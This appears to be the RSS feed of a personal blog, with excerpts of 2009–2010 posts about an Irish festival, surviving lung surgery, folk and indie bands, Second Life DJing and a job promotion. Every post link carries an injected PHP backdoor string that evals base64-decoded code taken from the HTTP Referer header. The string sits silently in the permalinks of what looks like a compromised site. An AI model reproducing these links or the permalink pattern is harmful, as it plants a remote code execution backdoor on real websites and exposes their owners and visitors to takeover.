http://www.brykmantra.com Always a work in progress ... Mon, 15 Mar 2010 04:15:56 +0000 http://backend.userland.com/rss092 en These folks were playing outside the main halls are the Irish Festival last weekend. They're called Paddy Gone Wild, and you can find out more about them -- and here more of their music for free - here. http://www.brykmantra.com/2010/03/14/irish-festival-posting-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Yeah, yeah, it's been almost a week since the Irish Festival and all I've posted is this video, and it's just related to the venue and not to the festival itself, and I didn't even post it here until now -- I haven't even put any of my festival photos ... http://www.brykmantra.com/2010/03/12/first-irish-festival-posting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Remember what you were doing exactly four years ago tonight? I was lying in a hospital bed recovering from having a tumor (and HALF OF A LUNG) removjed. And my wife was in the emergency room, because she collapsed of exhaustion while coming to visit me in ICU and somehow ... http://www.brykmantra.com/2010/03/02/four-years/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Just found this person/band on Facebook, and I'm using my Press This bookmark bar app so I won't forget to go back to it: Thistle Radical Music Home Page, an original-folk-music band out of Madison, Wisconsin. Plus, this counts as a blog post, right? http://www.brykmantra.com/2010/02/27/thistle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ OK, I haven't posted in a while, but today I uploaded a video (my first YouTube in 2 years!), and I had been telling a Second Life friend about my puppy friends along my walking route, so I dug this up and posted it. Enjoy! http://www.brykmantra.com/2010/02/04/the-welcoming-committe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Yes, it was seven years ago tonight, back in that medieval year of 2002, that I first started a blog, back when 80% of the country had no idea what a blog was. Oh, those were heady times for us brave pioneers! Networking with other foolhardy cyberdiarists, catching a glimpse ... http://www.brykmantra.com/2009/12/30/my-7th-blogiversary/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This is hilarious. These gift-disguising hints are by GameStop, but they can apply to a wide variety of presents. 10. Disguise Box Put game box in bigger box. This make little barbarians confused like bear staring at own reflection in lake. Hah, crazy bears. 9. Heavy Lifting Toss heavy rock in ... http://www.brykmantra.com/2009/12/19/barbarians-guide-to-gift-wrapping/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Check out this cool technology blog, Underdog of Perfection, by Room34, one of my RPM challenge friends. The latest is No Design is Good Design, a list of sites that make the best of minimalist design -- and includes a shout to my Twitter persona regarding an obscure Simpsons ... http://www.brykmantra.com/2009/12/13/quick-post/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ ... in which we Americans kick off the holiday season with the traditional Stuffing of the Face. I hope you'll pause a moment and feel lucky to have what you have, and realize that there were times in your life when you didn't have it so good. For instance: Earlier this ... http://www.brykmantra.com/2009/11/26/happy-thankfulnessfeeling-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The only thing worthy of posting this week is that I got a promotion at work after being there only ten months. It's not a huge promotion, but it's a transfer with more responsibility, and a good strategic move for advancement later on. Plus: It's more money, it's still ... http://www.brykmantra.com/2009/11/23/movin-on-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ It's Karlyn's birthday! If you know her, personally or from reading about her here -- or if you don't know her at all -- leave her a comment wishing her a happy one! http://www.brykmantra.com/2009/11/16/birthday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Yes, I haven't posted in a while - I've been working on lyrics for my music, taking piano lessons, giving computer lessons in return for piano lessions, working part-time, trimming tree branches away from the house, helping my wife cope with her evil step-siblings who are bullying her mom, DJing ... http://www.brykmantra.com/2009/11/03/851/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Okay, okay, I haven't posted a real post since July 4th, but it's one of my favorite days of the year - the day that the hellish Texas summer is given its eviction notice - so I'm going to try to get a wrap-up posted without murdering 30 minutes to ... http://www.brykmantra.com/2009/09/22/first-day-of-autumn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Um ... that's all I've got, really ... It's been a sad week, I lost a very good friend from Second Life, and that's why I haven't posted. I'm working on a long, thoughtful post about her, and in the meantime, nothing else seems worth posting except for the ... http://www.brykmantra.com/2009/07/04/happy-birthday-america/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Celebrity deaths seem to cluster together; and today, it was Farrah Fawcett and Michael Jackson. We've know for months that Farrah's health was bad, but Michael Jackson's heart attack was stunningly sudden. I disagree with the title he gave himself, The King of Pop (although that act was ... http://www.brykmantra.com/2009/06/26/farrah-michael/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've mentioned this guy before, so you know the drill by now: Up-and-coming country singer Jake Kellen, I went to high school with his mom and his uncle (who is also his producer), I went to college with the guy who financed his first album, blah blah blah. Anyway, Jake ... http://www.brykmantra.com/2009/06/24/hometown-boy-makes-good/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ It was about four years ago that I started becoming fascinated with Iceland in general, and that bizarre crazycakes entity known as Bjork in particular. Today I remembered that SNL recently did a news segment with Her Wackness (played by Kristen Wiig) explaining Iceland's economic crisis, and I realized ... http://www.brykmantra.com/2009/06/22/back-to-the-bjork/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Blues isn't my favorite musical genre, but I have a new favorite workout song: The Blues Brothers' Sweet Home Chicago! Check it out, especially the killer trombone solo that starts at 3:57: That solo is true vindication for everyone who was a trombone geek in high school. Like, um, me. ... http://www.brykmantra.com/2009/06/20/work-it-out-chicago-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've newly discovered this great girl band out of Montreal (hey, you know me and girl bands!): They're called Pony Up, and they've got a really great sound. Check out this cool song of theirs (but warning, the video's kinda twisted, although the beginning with the ambulance reminds ... http://www.brykmantra.com/2009/06/18/pony-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A couple of music blogs I just discovered on Twitter: Blalock's Indie Rock Playlist, and Whisper All the Notes in My Ears. Over the past year, DJing in Second Life, I've been exposed to a lot of Indie & Alternative music, and I'm liking a lot of it (especially the ... http://www.brykmantra.com/2009/06/17/music-blogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/